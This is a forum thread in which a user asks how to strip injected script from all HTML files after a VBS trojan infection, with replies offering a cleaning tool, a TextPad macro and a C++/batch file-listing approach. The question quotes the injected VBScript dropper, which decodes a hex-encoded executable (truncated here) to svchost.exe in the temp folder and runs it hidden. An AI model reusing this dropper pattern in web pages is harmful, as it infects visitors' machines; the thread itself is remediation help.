求批量快速清除全盘JS代码的方法，电脑中了vbs木马，所有html都被植入代码

[meng014131]

电脑中了VBS木马，电脑所有html文件都被植入代码。用360杀毒，只能清除部分文件，还有很多没被清除，

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C4..........此处数万代码"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

很多批量清除软件，查找的字符字数限制，求批量匹配清除代码或工具，VB。bat ..都行，哪种快来哪种，

比如批量查找替换

<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"通配符WSHshell.Run DropPath, 0
//--></SCRIPT>

是全盘哦
谢谢

[meng014131]

谢谢楼上解答 ，我已经用小工具清理 了。 中此木马的网友可参考： 用护卫神网页木马清理工具【试过很多软件就这个好点】完全免费的 不过木马代码太长的要分几次清理【我就分了四次，不过速度快】，很少有软件支持一次性替换数百行的，这软件查找速度快，不像其它软件，直接查找一个盘会崩溃假死。 注意：要用官网最新版的，旧版的清理UTF-8的会乱码。先测试清理几个文件【gbk和UTF-8的都试下】，正常了再清理全盘，注意备份，否则乱码了就恢复不了，查找代码不要粘贴太长，越短速度越快，查找到后再更换长代码替换 适合完全不懂编程的菜鸟

[Tiger_Zhao]

一种半手工的方法：
用 TextPad，先用“在文件中搜索”功能把相关的文件全盘都找出来，然后在搜索结果窗口中，录制这样一个宏：
--------
方向键向下
回车——打开文件并定为到搜索位置，[b]接下来在文件窗口中[b]
查找 //--></SCRIPT>，并且选中选项“扩展选择”
删除选中内容
保存文件
关闭文件窗口——又回到了结果窗口
--------
接下来就是手工不停地按 Ctrl+R 执行宏，就会逐个文件进行替换保存了。

[赵4老师]

仅供参考：

//ListDrivers.cpp
#include "stdafx.h"
using namespace std;
struct {
   UINT type;           LPCSTR name;
} DriveTypeFlags [] = {// GetDriveType返回码与人可读字符串对照表
   {DRIVE_UNKNOWN     ,"未知"        },
   {DRIVE_NO_ROOT_DIR ,"无效路经"    },
   {DRIVE_REMOVABLE   ,"可移动"      },
   {DRIVE_FIXED       ,"固定"        },
   {DRIVE_REMOTE      ,"网络驱动器"  },
   {DRIVE_CDROM       ,"CD-ROM"      },
   {DRIVE_RAMDISK     ,"随机存取磁盘"},
   {0                 , NULL         },
};
int _tmain() {
    if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0)) {
        cerr << _T("Fatal Error: MFC initialization failed") << endl;
        return -1;
    }

   // 获取逻辑驱动器字符串- a:\<null>b:\<null>c:\<null>...z:\<null><null>
   // 还可以用GetLogicalDrives以位图形式代替字符串形式获取信息
    TCHAR buf[200];
    DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);

    string msg = "逻辑驱动器:\n";
    for (TCHAR* s=buf; *s; s+=_tcslen(s)+1) {
        LPCTSTR sDrivePath = s;
        msg += sDrivePath;
        msg += " ";
        UINT uDriveType = GetDriveType(sDrivePath);
        for (int i=0; DriveTypeFlags[i].name; i++) {
            if (uDriveType == DriveTypeFlags[i].type) {
                msg += DriveTypeFlags[i].name;
                break;//
            }
        }
        msg += '\n';
    }
    cout << msg.c_str();
    return 0;
}

TimeAllJS.bat：

rem Trim All js
del c:\alljsfiles.txt
ListDrives.exe | find "固定" >c:\allfixdrives.txt
FOR /F "tokens=1" %%i IN (c:\allfixdrives.txt) DO dir %%i*.js /b /s /a-d >>c:\alljsfiles.txt
TrimJS c:\alljsfiles.txt

TrimJS是你自己写的读取命令行参数文件中每行一个全路径文件名对应文件，将其中植入代码删除后保存回去的小程序。 运行批处理TimeAllJS.bat